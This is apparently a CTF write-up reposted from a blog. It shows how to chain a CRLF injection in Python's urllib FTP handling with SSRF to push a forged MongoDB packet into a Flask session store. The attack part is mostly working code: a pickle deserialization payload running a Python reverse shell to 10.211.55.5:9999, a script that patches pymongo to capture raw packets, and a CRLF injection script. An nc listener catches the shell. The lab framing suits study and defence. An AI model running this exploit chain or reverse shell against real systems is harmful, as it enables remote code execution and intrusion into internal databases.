How to use SSRF to control the FTP server to attack the mongodb in the intranet

1 background

Recently, I am trying to do oh-my-bet in starCTF, and I need to use CRLF vulnerabilities to control FTP to send data packets to mongodb to modify the content in mongodb. I tried to build a simple environment manually to realize the general process.

2 Environment setup

Use two virtual machines + host machines to implement the entire process:

  1. Host (Web server)
  2. Virtual machine (server used to attack)

2.1 Build a mongo environment (host and virtual machine)

Both the host machine and the virtual machine need to build the mongo environment. In order not to overlap with the host's mongo, I use port 27018

docker run -itd --name mongo -p 27018:27017 mongo

2.2 flask (host)


#!/usr/bin/env python
# -*- coding:utf-8 -
from flask import Flask, session
from flask_session import Session
import pymongo

app = Flask(__name__)

app.debug = True
app.secret_key = 'f4545478ee86$%^&&%$#'
app.config['SESSION_TYPE'] = 'mongodb'  # session 类型为 mongodb

app.config['SESSION_MONGODB'] = pymongo.MongoClient(host='127.0.0.1', port=27018)
app.config['SESSION_MONGODB_DB'] = 'admin'
app.config['SESSION_MONGODB_COLLECT'] = 'sessions'

# 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_PERMANENT'] = True
# 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_USE_SIGNER'] = False
# 保存到session中的值的前缀
app.config['SESSION_KEY_PREFIX'] = 'session:'

Session(app)

@app.route('/')
def index():
    session['name'] = 'slug01sh'
    return 'hello mongo'

@app.route('/get')
def get():
    b = session.get('name')
    return b

if __name__ == '__main__':
    app.run()

The flask Application There are two paths /and/get

  • / Session can be initialized
  • /getThe session can be taken out of mongo (deserialization will be performed)

Visit http://127.0.0.1:5000 and check the console to get the session as: 922b2d8f-26c8-4146-8742-9d62b3988a17

2.3 mongo data package (virtual machine)

Generate the mongo data package in the virtual machine and save the binary file to the root directory of FTPD. (Here, I abbreviated some steps. In oh-my-bet, you need to upload the file to the FTP server first, save it as a file, and then send it to mongo. Here I directly generate the data package and save it to FTP Server)

Pymongo need to modify the packet before generating the network.pyfile, to capture packets. Use the following command to find the location of pymongo.

python3 -c "import pymongo;print(pymongo.__file__)" 

Run to find the path of pymongo

Use the sendall keyword to find

before try, add the code as shown in the figure:

if b'session:' in msg:
    e = Exception()
    e.message = msg
    raise e

Finally, the mongo data package (binary file) is generated in the directory of the ftp server

from pymongo import MongoClient
import pickle
import os

# 构建反序列化
def get_pickle(cmd):
    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))

    return pickle.dumps(exp())

# 获取mongo的请求包
def get_mongo(cmd):
    client = MongoClient('127.0.0.1', 27018)
    coll = client.admin.sessions
    try:
        coll.update_one(
            {
    
    'id': 'session:922b2d8f-26c8-4146-8742-9d62b3988a17'},
            {
    
    "$set": {
    
    "val": get_pickle(cmd)}},
            upsert=True
        )
    except Exception as e:
        return e.message

if __name__ == '__main__':
    packet = get_mongo(
        cmd="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.5",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")

    print(packet)

    file = open('slug01sh', 'ab')
    file.write(packet)

Remember to modify the above session (mongo finds users through session) and cmd (commands that will be executed during deserialization).

Run the script to generate the mongo data package

2.4 FTP server (virtual machine)

FTP server source code

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()

authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")

handler = FTPHandler
handler.permit_foreign_addresses = True
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer

server = FTPServer(("10.211.55.5", 8877), handler)
server.serve_forever()

Operating status:

3 Attack

Prepare CRLF script

import urllib.request

def get_port_cmd(host):
    ip, port = host.split(':')
    ip = ','.join(ip.split('.'))
    port = int(port)
    return f'port {ip},{port // 256},{port - port // 256 * 256}'


if __name__ == '__main__':
    # 向本地的FTP发送消息
    target = '10.211.55.5:8877'

    # FTP的消息
    commands = ['type i', get_port_cmd(host='10.211.55.2:27018'), 'retr slug01sh']
    commands_str = '\r\n'.join(commands)
    commands_str = urllib.parse.quote(commands_str)

    url = 'ftp://fan:root@'+target+'/\r\n'+commands_str
    urllib.request.urlopen(url)

Python version that can run the script:

  • Urllib in Python 3.x to 3.7.2

Run the CRLF code, you can see that the FTP server in the virtual machine shows that the transmission is successful

Use Navicat to connect mongo, observe the collection, you can find that you can judge whether the update is successful by the length of val.

Use nc -lvp 9999 in the virtual machine to wait for the rebound shell, and use a browser to visit http://127.0.0.1:5000/get

Guess you like

Origin blog.csdn.net/qq_43085611/article/details/113746935